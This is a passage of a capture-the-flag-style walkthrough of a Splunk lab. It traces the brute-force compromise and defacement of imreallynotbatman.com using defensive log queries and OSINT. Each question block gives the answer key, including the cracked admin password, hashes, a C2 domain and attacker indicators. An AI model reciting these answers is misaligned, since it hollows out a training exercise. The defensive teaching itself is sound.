<p><strong>Note:</strong> The important thing to note, if you don't find the field of interest, keep scrolling in the left panel. When you click on a field, it will contain all the values it finds in the logs.<br />So far, we have found two IPs in the src_ip field <code>40.80.148.42</code> and <code>23.22.63.114</code>. The first IP seems to contain a high percentage of the logs as compared to the other IP, which could be the answer. If you want to confirm further, click on each IP one by one, it will be added into the search query, and look at the logs, and you will find the answer.</p>
<p>To further confirm our suspicion about the IP address <strong>40.80.148.42</strong>, click on the IP and examine the logs. We can look at the interesting fields like User-Agent, Post request, URIs, etc., to see what kind of traffic is coming from this particular IP.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/6e4de3d85d3322f76b20c71ea020d0b4.gif" alt="" style="display:block;margin:0 auto" />

<p>We have narrowed down the results to only show the logs from the source IP <strong>40.80.148.42</strong>, looked at the fields of interest and found the traces of the domain being probed.</p>
<p>**Validate the IP that is scanning<br />**<br />So what do we need to do to validate the scanning attempt? Simple, dig further into the weblogs. Let us narrow down the result, look into the <code>suricata</code> logs, and see if any rule is triggered on this communication.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 imreallynotbatman.com src=40.80.148.42 sourcetype=suricata</code></p>
<p><strong>Search Query Explanation:</strong> This query will show the logs from the suricata log source that are detected/generated from the source IP <strong>40.80.248.42</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/ff5428b053d955ddc89da6ff9dc0f81e.gif" alt="" style="display:block;margin:0 auto" />

<p>We have narrowed our search on the <strong>src IP</strong> and looked at the source type <code>suricata</code> to see what Suricata triggered alerts. In the right panel, we could not find the field of our interest, so we clicked on more fields and searched for the fields that contained the signature alerts information, which is an important point to note.</p>
<h3>Answer the questions below</h3>
<p>One suricata alert highlighted the CVE value associated with the attack attempt. What is the CVE value? <code>CVE-2014-6271</code></p>
<p>What is the CMS our web server is using? <code>joomla</code></p>
<p>What is the web scanner, the attacker used to perform the scanning attempts? <code>acunetix</code></p>
<p>What is the IP address of the server imreallynotbatman.com? <code>192.168.250.70</code></p>
<h2>Exploitation Phase</h2>
<p>**Exploitation Phase<br />**</p>
<p>The attacker needs to exploit the vulnerability to gain access to the system/server.</p>
<p>In this task, we will look at the potential exploitation attempt from the attacker against our web server and see if the attacker got successful in exploiting or not.</p>
<p>To begin our investigation, let's note the information we have so far:</p>
<ul>
<li><p>We found two IP addresses from the reconnaissance phase with sending requests to our server.</p>
</li>
<li><p>One of the IPs <code>40.80.148.42</code> was seen attempting to scan the server with IP <strong>192.168.250.70</strong>.</p>
</li>
<li><p>The attacker was using the web scanner Acunetix for the scanning attempt.</p>
</li>
</ul>
<p><strong>Count</strong></p>
<p>Let's use the following search query to see the number of counts by each source IP against the webserver.</p>
<p><strong>Search Query</strong>:<code>index=botsv1 imreallynotbatman.com sourcetype=stream* | stats count(src_ip) as Requests by src_ip | sort - Requests</code></p>
<p><strong>Query Explanation:</strong> This query uses the stats function to display the count of the IP addresses in the field src_ip.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/7ba883b04d37c2eca99362c9bda29454.png" alt="" style="display:block;margin:0 auto" />

<p>Additionally, we can also create different visualization to show the result. Click on <strong>Visualization → Select Visualization</strong> as shown below.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/caed557285bfc17702c039120aac1b4f.png" alt="" style="display:block;margin:0 auto" />

<p>Now we will narrow down the result to show requests sent to our web server, which has the IP <code>192.168.250.70</code></p>
<p><strong>Search Query:</strong> <code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70"</code></p>
<p><strong>Query Explanation:</strong> This query will look for all the inbound traffic towards IP <strong>192.168.250.70.</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/d570547792358eed228ca92e06c27af9.png" alt="" style="display:block;margin:0 auto" />

<p>The result in the <strong>src_ip</strong> field shows three IP addresses (1 local IP and two remote IPs) that originated the HTTP traffic towards our webserver.</p>
<p>Another interesting field, <strong>http_method</strong> will give us information about the HTTP Methods observed during these HTTP communications.</p>
<p>We observed most of the requests coming to our server through the POST request, as shown below.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/45495b910d4f5ad7ca9215a15166835f.png" alt="" style="display:block;margin:0 auto" />

<p>To see what kind of traffic is coming through the POST requests, we will narrow down on the field <code>http_method=POST</code> as shown below:</p>
<p><strong>Search Query:</strong> <code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/e9e7ec45af9290353dffb5809e33ac53.png" alt="" style="display:block;margin:0 auto" />

<p>The result in the <strong>src_ip</strong> field shows two IP addresses sending all the POST requests to our server.</p>
<p><strong>Interesting fields:</strong> In the left panel, we can find some interesting fields containing valuable information. Some of the fields are:</p>
<ul>
<li><p>src_ip</p>
</li>
<li><p>form_data</p>
</li>
<li><p>http_user_agent</p>
</li>
<li><p>uri</p>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/17ef54b0e1fdf69923e5c30f5650aad1.gif" alt="" style="display:block;margin:0 auto" />

<p>The term Joomla is associated with the webserver found in a couple of fields like <strong>uri, uri_path, http_referrer</strong>, etc. This means our webserver is using Joomla CMS (Content Management Service) in the backend.</p>
<p>A little search on the internet for the admin login page of the Joomla CMS will show as -&gt; <code>/joomla/administrator/index.php</code></p>
<p>It is important because this uri contains the login page to access the web portal therefore we will be examining the traffic coming into this admin panel for a potential brute-force attack.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/ea62d4ec767a649904b5f5bba9ba1d62.png" alt="" style="display:block;margin:0 auto" />

<p>Reference: <a href="https://www.joomla.org/administrator/index.php">https://www.joomla.org/administrator/index.php</a></p>
<p>We can narrow down our search to see the requests sent to the login portal using this information.</p>
<p><strong>Search query:</strong> <code>index=botsv1 imreallynotbatman.com sourcetype=stream:http dest_ip="192.168.250.70"  uri="/joomla/administrator/index.php"</code></p>
<p><strong>Query Explanation:</strong> We are going to add <code>uri="/joomla/administrator/index.php"</code> in the search query to show the traffic coming into this URI.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/83b8b3e58e245701708a7e7ccac8c748.png" alt="" style="display:block;margin:0 auto" />

<p><code>form_data</code> The field contains the requests sent through the form on the admin panel page, which has a login page. We suspect the attacker may have tried multiple credentials in an attempt to gain access to the admin panel. To confirm, we will dig deep into the values contained within the form_data field, as shown below:</p>
<p><strong>Search Query:</strong> <code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST uri="/joomla/administrator/index.php" | table _time uri src_ip dest_ip form_data</code></p>
<p><strong>Query Explanation:</strong> We will add this -&gt; <code>| table _time uri src_ip dest_ip form_data</code> to create a table containing important fields as shown below:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/1738f09ad30036c48e6849f7f8123e3e.png" alt="" style="display:block;margin:0 auto" />

<p>If we keep looking at the results, we will find two interesting fields <code>username</code> that includes the single username <code>admin</code> in all the events and another field <code>passwd</code> that contains multiple passwords in it, which shows the attacker from the IP <code>23.22.63.114</code> Was trying to guess the password by brute-forcing and attempting numerous passwords.</p>
<p>The time elapsed between multiple events also suggests that the attacker was using an automated tool as various attempts were observed in a short time.</p>
<p><strong>Extracting Username and Passwd Fields using Regex</strong></p>
<p>Looking into the logs, we see that these fields are not parsed properly. Let us use <strong>Regex</strong> in the search to extract only these two fields and their values from the logs and display them.</p>
<p>We can display only the logs that contain the <strong>username</strong> and <strong>passwd</strong> values in the form_data field by adding <code>form_data=*username*passwd*</code> in the above search.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST uri="/joomla/administrator/index.php" form_data=*username*passwd* | table _time uri src_ip dest_ip form_data</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/9c47791d96dbadf8ab0d6a0adf1a9508.png" alt="" style="display:block;margin:0 auto" />

<p>It's time to use Regex <strong>(regular expressions)</strong> to extract all the password values found against the field passwd in the logs. To do so, Splunk has a function called rex. If we type it in the search head, it will show detail and an example of how to use it to extract the values.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/5ff9ecd4bf13a65356c0f6b9431d90c5.png" alt="" style="display:block;margin:0 auto" />

<p>Now, let's use Regex.  <code>rex field=form_data "passwd=(?&lt;creds&gt;\w+)"</code> To extract the <strong>passwd</strong> values only. This will pick the <strong>form_data</strong> field and extract all the values found with the field. <code>creds</code>.</p>
<p><strong>Search Query:</strong><code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST form_data=*username*passwd* | rex field=form_data "passwd=(?&lt;creds&gt;\w+)"  | table src_ip creds</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/594dedebeb2d2d5a7cc6cae8d1ebc226.gif" alt="" style="display:block;margin:0 auto" />

<p>We have extracted the passwords being used against the username admin on the admin panel of the webserver. If we examine the fields in the logs, we will find two values against the field <code>http_user_agent</code> as shown below:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/c8f99804c3e8a60170be32c01cdc0857.png" alt="" style="display:block;margin:0 auto" />

<p>The first value clearly shows attacker used a python script to automate the brute force attack against our server. But one request came from a Mozilla browser. WHY? To find the answer to this query, let's slightly change to the about search query and add <code>http_user_agent</code> a field in the search head.</p>
<p>Let's create a table to display key fields and values by appending -&gt; <code>| table _time src_ip uri http_user_agent creds</code> in the search query as shown below.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST form_data=*username*passwd* | rex field=form_data "passwd=(?&lt;creds&gt;\w+)" |table _time src_ip uri http_user_agent creds</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/ef2cbed333760fbe7d2fa7c507d2c625.png" alt="" style="display:block;margin:0 auto" />

<p>This result clearly shows a continuous brute-force attack attempt from an IP <strong>23.22.63.114</strong> and 1 password attempt <strong>batman</strong> from IP <strong>40.80.148.42</strong> using the Mozilla browser.</p>
<h3>Answer the questions below</h3>
<p>What was the URI which got multiple brute force attempts? <code>/joomla/administrator/index.php</code></p>
<p>Against which username was the brute force attempt made? <code>admin</code></p>
<p>What was the correct password for admin access to the content management system running <strong>imreallynotbatman.com</strong>? <code>batman</code></p>
<p>How many unique passwords were attempted in the brute force attempt? <code>412</code></p>
<p>What IP address is likely attempting a brute force password attack against <strong>imreallynotbatman.com</strong>? <code>23.22.63.114</code></p>
<p>After finding the correct password, which IP did the attacker use to log in to the admin panel? <code>40.80.148.42</code></p>
<h2>Installation Phase</h2>
<p><strong>Installation Phase</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/de0578c67c4b14c280f01fe9a4090ea5.png" alt="Image represents Installation phase" style="display:block;margin:0 auto" />

<p>Once the attacker has successfully exploited the security of a system, he will try to install a backdoor or an application for persistence or to gain more control of the system. This activity comes under the installation phase.</p>
<p>In the previous Exploitation phase, we found evidence of the webserver <code>iamreallynotbatman.com</code> getting compromised via brute-force attack by the attacker using the python script to automate getting the correct password. The attacker used the IP" for the attack and the IP to log in to the server. This phase will investigate any payload / malicious program uploaded to the server from any attacker's IPs and installed into the compromised server.</p>
<p>To begin an investigation, we first would narrow down any http traffic coming into our server <strong>192.168.250.70</strong> containing the term ".exe." This query may not lead to the findings, but it's good to start from 1 extension and move ahead.</p>
<p><strong>Search Query</strong>: <code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" *.exe</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/4097da92bb83bd61cdacec4539c58d67.gif" alt="" style="display:block;margin:0 auto" />

<p>With the search query in place, we are looking for the fields that could have some values of our interest. As we could not find the file name field, we looked at the missing fields and saw a field. <code>part_filename{}</code>.</p>
<p>Observing the interesting fields and values, we can see the field <code>part_filename{}</code> contains the two file names. an executable file <code>3791.exe</code> and a PHP file <code>agent.php</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/f2206e28fac1af4e5033d1eb7cd7f29d.png" alt="" style="display:block;margin:0 auto" />

<p>Next, we need to find if any of these files came from the IP addresses that were found to be associated with the attack earlier.</p>
<p>Click on the file name; it will be added to the search query, then look for the field c_ip, which seems to represent the client IP.</p>
<p><strong>Search Query:</strong><code>index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" "part_filename{}"="3791.exe"</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/e8f2b1f9924e74acaf2224cd7c13f6f6.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Was this file executed on the server after being uploaded?</strong></p>
<p>We have found that file <strong>3791.exe</strong> was uploaded on the server. The question that may come to our mind would be, was this file executed on the server? We need to narrow down our search query to show the logs from the host-centric log sources to answer this question.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 "3791.exe"</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/2dd77a76ba3366bf822576b7600d4669.png" alt="" style="display:block;margin:0 auto" />

<p>Following the Host-centric log, sources were found to have traces of the executable 3791. exe.</p>
<ul>
<li><p>Sysmon</p>
</li>
<li><p>WinEventlog</p>
</li>
<li><p>fortigate_utm</p>
</li>
</ul>
<p>For the evidence of execution, we can leverage sysmon and look at the EventCode=1 for program execution.</p>
<p>Reference: <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon">https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon</a></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/0135d57671ea197866054124115cfb4c.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Search Query:</strong> <code>index=botsv1 "3791.exe" sourcetype="XmlWinEventLog" EventCode=1</code></p>
<p><strong>Query Explanation:</strong> This query will look for the process Creation logs containing the term <strong>"3791.exe"</strong> in the logs.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/140a87acbf87ae7b9cf62f41dd93acdb.png" alt="" style="display:block;margin:0 auto" />

<p>Looking at the output, we can clearly say that this file was executed on the compromised server. We can also look at other host-centric log sources to confirm the result.</p>
<h3>Answer the questions below</h3>
<p>Sysmon also collects the Hash value of the processes being created. What is the MD5 HASH of the program 3791.exe? <code>AAE3F5A29935E6ABCC2C2754D12A9AF0</code></p>
<p><code>index=botsv1 "3791.exe" sourcetype="XmlWinEventLog" EventCode=1</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f62eefde-a8d5-42f7-bcaa-f941ed643dcd.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/12e3e735-0a34-457b-b3ea-2926184c4095.png" alt="" style="display:block;margin:0 auto" />

<p>Looking at the logs, which user executed the program 3791.exe on the server? <code>NT AUTHORITY\IUSR</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3cc9de6e-403d-4a7e-b354-7af585d08625.png" alt="" style="display:block;margin:0 auto" />

<p>Search hash on the virustotal. What other name is associated with this file 3791.exe? <code>ab.exe</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/9a011e04-78c6-4494-b7ff-62bb4b92b8b3.png" alt="" style="display:block;margin:0 auto" />

<h2>Action on Objectives</h2>
<p><strong>Action on Objective</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/ef3c7d1b7bdc4b014eac365225ce5c47.png" alt="Image representing a Target" style="display:block;margin:0 auto" />

<p>As the website was defaced due to a successful attack by the adversary, it would be helpful to understand better what ended up on the website that caused defacement.</p>
<p>As an analyst, our first quest could be to figure out the traffic flow that could lead us to the answer to this question. There can be a different approach to finding the answer to this question. We will start our investigation by examining the <strong>Suricata</strong> log source and the IP addresses communicating with the webserver 192.168.250.70.</p>
<p><strong>Search Query</strong>:<code>index=botsv1 dest=192.168.250.70 sourcetype=suricata</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/47741c5563b7aebe667ec7eafdeaf1b3.png" alt="" style="display:block;margin:0 auto" />

<p>The logs do not show any external IP communicating with the server. Let us change the flow direction to see if any communication originates from the server.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 src=192.168.250.70 sourcetype=suricata</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/9cdce04d736980734ede35d17bc9d9a7.png" alt="" style="display:block;margin:0 auto" />

<p>What is interesting about the output? Usually, the web servers do not originate the traffic. The browser or the client would be the source, and the server would be the destination. Here we see three external IPs towards which our web server initiates the outbound traffic. There is a large chunk of traffic going to these external IP addresses, which could be worth checking.</p>
<p>Pivot into the destination IPs one by one to see what kind of traffic/communication is being carried out.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 src=192.168.250.70 sourcetype=suricata dest_ip=23.22.63.114</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/d012293c246dcc717ab0c80a7190845b.png" alt="" style="display:block;margin:0 auto" />

<p>The URL field shows 2 PHP files and one jpeg file. This jpeg file looks interesting. Let us change the search query and see where this jpeg file came from.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 url="/poisonivy-is-coming-for-you-batman.jpeg" dest_ip="192.168.250.70" | table _time src dest_ip http.hostname url</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/da31347a03f68b6e9998e66db946dccb.gif" alt="" style="display:block;margin:0 auto" />

<p>The end result clearly shows a suspicious jpeg <code>poisonivy-is-coming-for-you-batman.jpeg</code> was downloaded from the attacker's host <code>prankglassinebracket.jumpingcrab.com</code> that defaced the site.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/b71e2d7ed8b035a368d34ce02441a105.png" alt="" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>What is the name of the file that defaced the imreallynotbatman.com website ? <code>poisonivy-is-coming-for-you-batman.jpeg</code></p>
<p>Fortigate Firewall 'fortigate_utm' detected SQL attempt from the attacker's IP 40.80.148.42. What is the name of the rule that was triggered during the SQL Injection attempt? <code>HTTP.URI.SQL.Injection</code></p>
<p><code>index=botsv1 40.80.148.42 sourcetype=fortigate_utm attack="HTTP.URI.SQL.Injection"</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a42a41a4-a62e-43f0-93f1-3b4d7c3409b4.png" alt="" style="display:block;margin:0 auto" />

<h2>Command and Control Phase</h2>
<p><strong>Command and Control:</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/f346d2d7b7628eaeddf45d5c14c5b54a.png" alt="Image representing Command n Control" style="display:block;margin:0 auto" />

<p>The attacker uploaded the file to the server before defacing it. While doing so, the attacker used a Dynamic DNS to resolve a malicious IP. Our objective would be to find the IP that the attacker decided the DNS.</p>
<p>To investigate the communication to and from the adversary's IP addresses, we will be examining the network-centric log sources mentioned above. We will first pick fortigate_utm to review the firewall logs and then move on to the other log sources.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 sourcetype=fortigate_utm"poisonivy-is-coming-for-you-batman.jpeg"</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/a2df650b7d76e7cc7a795b8d0b627bfe.png" alt="" style="display:block;margin:0 auto" />

<p>Looking into the Fortinet firewall logs, we can see the src IP, destination IP, and URL. Look at the fields on the left panel and the field <code>url</code> contains the FQDN (Fully Qualified Domain Name).</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/e5cda837fe7a7cbfa791515b49756f69.png" alt="" style="display:block;margin:0 auto" />

<p>Though we have found the answer, we can verify other log sources.</p>
<p>Let us verify the answer by looking at another log source.<code>stream:http</code>.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 sourcetype=stream:http dest_ip=23.22.63.114 "poisonivy-is-coming-for-you-batman.jpeg" src_ip=192.168.250.70</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/495918ac13b99ae950a0ac470fa349fc.png" alt="" style="display:block;margin:0 auto" />

<p>We have identified the suspicious domain as a Command and Control Server, which the attacker contacted after gaining control of the server.</p>
<p><strong>Note:</strong> We can also confirm the domain by looking at the last log source <code>stream:dns</code> to see what DNS queries were sent from the webserver during the infection period.</p>
<h3>Answer the questions below</h3>
<p>This attack used dynamic DNS to resolve to the malicious IP. What fully qualified domain name (FQDN) is associated with this attack? <code>prankglassinebracket.jumpingcrab.com</code></p>
<p><code>index=botsv1 sourcetype=stream:http dest_ip=23.22.63.114 "poisonivy-is-coming-for-you-batman.jpeg" src_ip=192.168.250.70</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/167f7f88-18b0-44ec-b84e-4b61636c5018.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/6fd1470f-8d03-463c-a747-f1704a3508a3.png" alt="" style="display:block;margin:0 auto" />

<h2>Weaponization Phase</h2>
<p><strong>Weaponization</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/66ab36ee8b80a54b106b069cae10f89c.png" alt="Image representing Weaponization phase" style="display:block;margin:0 auto" />

<p>In the weaponization phase, the adversaries would:</p>
<ul>
<li><p>Create Malware / Malicious document to gain initial access / evade detection etc.</p>
</li>
<li><p>Establish domains similar to the target domain to trick users.</p>
</li>
<li><p>Create a Command and Control Server for the post-exploitation communication/activity etc.</p>
</li>
</ul>
<p>We have found some domains / IP addresses associated with the attacker during the investigations. This task will mainly look into OSINT sites to see what more information we can get about the adversary.</p>
<p>So far, we have found a domain <code>prankglassinebracket.jumpingcrab.com</code> associated with this attack. Our first task would be to find the IP address tied to the domains that may potentially be pre-staged to attack Wayne Enterprise.</p>
<p>In the following exercise, we will be searching the online Threat Intel sites for any information like IP addresses/domains / Email addresses associated with this domain which could help us know more about this adversary.</p>
<p><strong>Robtex:</strong><br /><a href="https://www.robtex.com/">Robtex</a> is a Threat Intel site that provides information about IP addresses, domain names, etc.</p>
<p>Please search for the domain on the robtex site and see what we get. We will get the IP addresses associated with this domain.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/7ad2296f02b00a73a3ae2e4182fa7cfc.png" alt="" style="display:block;margin:0 auto" />

<p>Some domains/subdomains associated with this domain:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/c6aa355d30ed9425cd6e923526a03d46.png" alt="" style="display:block;margin:0 auto" />

<p>Reference**:** <a href="https://www.robtex.com/dns-lookup/prankglassinebracket.jumpingcrab.com">https://www.robtex.com/dns-lookup/prankglassinebracket.jumpingcrab.com</a></p>
<p>Next, search for the IP address <code>23.22.63.114</code>   on this Threat Intel site.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/2a9dd066e2b6ef2cd55a5e0c04983776.png" alt="" style="display:block;margin:0 auto" />

<p>What did we find? this IP is associated with some domains that look pretty similar to <strong>the WAYNE Enterprise</strong> site.</p>
<p>Reference: <a href="https://www.robtex.com/ip-lookup/23.22.63.114">https://www.robtex.com/ip-lookup/23.22.63.114</a></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/87794e9d70b8b0dac729232443427181.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Virustotal</strong></p>
<p><a href="https://www.virustotal.com/">Virustotal</a> is an OSINT site used to analyze suspicious files, domains, IP, etc. Let's now search for the IP address on the virustotal site. If we go to the <strong>RELATIONS</strong> tab, we can see all the domains associated with this IP which look similar to the Wayn Enterprise company.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/b217030ec313023a8d811ad513a28378.png" alt="" style="display:block;margin:0 auto" />

<p>In the domain list, we saw the domain that is associated with the attacker <code>www.po1s0n1vy.com</code> . Let us search for this domain on the virustotal.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/0d1024a79200a34705ac77b986782104.png" alt="" style="display:block;margin:0 auto" />

<p>We can also look for the whois information on this site -&gt; <a href="https://whois.domaintools.com/">whois.domaintools.com</a> to see if we can find something valuable.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/a306319398fa56470363ca0f41cd814f.png" alt="" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>What IP address has P01s0n1vy tied to domains that are pre-staged to attack Wayne Enterprises? <code>23.22.63.114</code></p>
<p>Based on the data gathered from this attack and common open-source intelligence sources for domain names, what is the email address that is most likely associated with the P01s0n1vy APT group? <code>lillian.rose@po1s0n1vy.com</code></p>
<h2>Delivery Phase</h2>
<p><strong>Delivery</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/cbc524d15fd41900361c2ca2789cbfe7.png" alt="Image representing Delivery phase " style="display:block;margin:0 auto" />

<p>Attackers create malware and infect devices to gain initial access or evade defenses and find ways to deliver it through different means. We have identified various IP addresses, domains and Email addresses associated with this adversary. Our task for this lesson would be to use the information we have about the adversary and use various Threat Hunting platforms and OSINT sites to find any malware linked with the adversary.</p>
<p>Threat Intel report suggested that this adversary group Poison lvy appears to have a secondary attack vector in case the <code>initial compromise</code> fails. Our objective would be to understand more about the attacker and their methodology and correlate the information found in the logs with various threat Intel sources.</p>
<p><strong>OSINT sites</strong></p>
<ul>
<li><p>Virustotal</p>
</li>
<li><p>ThreatMiner</p>
</li>
<li><p>Hybrid-Analysis</p>
</li>
</ul>
<p><strong>ThreatMiner</strong></p>
<p>Let's start our investigation by looking for the IP <code>23.22.63.114</code> on the Threat Intel site <a href="https://www.threatminer.org/host.php?q=23.22.63.114#gsc.tab=0&amp;gsc.q=23.22.63.114&amp;gsc.page=1">ThreatMiner.</a></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/994b52e66e64ffba61ca57d32ace6a54.png" alt="" style="display:block;margin:0 auto" />

<p>We found three files associated with this IP, from which one file with the hash value  <code>c99131e0169171935c5ac32615ed6261</code> seems to be malicious and something of interest.</p>
<p>Now, click on this MD5 hash value to see the metadata and other important information about this particular file.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/511a309aacc571f2176931686df681e0.png" alt="" style="display:block;margin:0 auto" />

<p>Reference: <a href="https://www.threatminer.org/host.php?q=23.22.63.114#gsc.tab=0&amp;gsc.q=23.22.63.114&amp;gsc.page=1">https://www.threatminer.org/host.php?q=23.22.63.114#gsc.tab=0&amp;gsc.q=23.22.63.114&amp;gsc.page=1</a></p>
<p><strong>Virustotal</strong></p>
<p>Open <a href="http://virustotal.com">virustotal.com</a> and search for the hash on the virustotal now. Here, we can get information about the metadata about this Malware in the Details tab.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/c380913c90e52016683cbcfe9174b35e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/8edbbf929731d7718587d3c1adc66648.png" alt="" style="display:block;margin:0 auto" />

<p>Reference: <a href="https://www.virustotal.com/gui/file/9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8/community">https://www.virustotal.com/gui/file/9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8/community</a></p>
<p><strong>Hybrid-Analysis</strong></p>
<p>Hybrid Analysis is a beneficial site that shows the behavior Analysis of any malware. Here you can look at all the activities performed by this Malware after being executed. Some of the information that Hybrid-Analysis provides are:</p>
<ul>
<li><p>Network Communication.</p>
</li>
<li><p>DNS Requests</p>
</li>
<li><p>Contacted Hosts with Country Mapping</p>
</li>
<li><p>Strings</p>
</li>
<li><p>MITRE ATT&amp;CK Mapping</p>
</li>
<li><p>Malicious Indicators.</p>
</li>
<li><p>DLLs Imports / Exports</p>
</li>
<li><p>Mutex Information if created</p>
</li>
<li><p>File Metadata</p>
</li>
<li><p>Screenshots</p>
</li>
</ul>
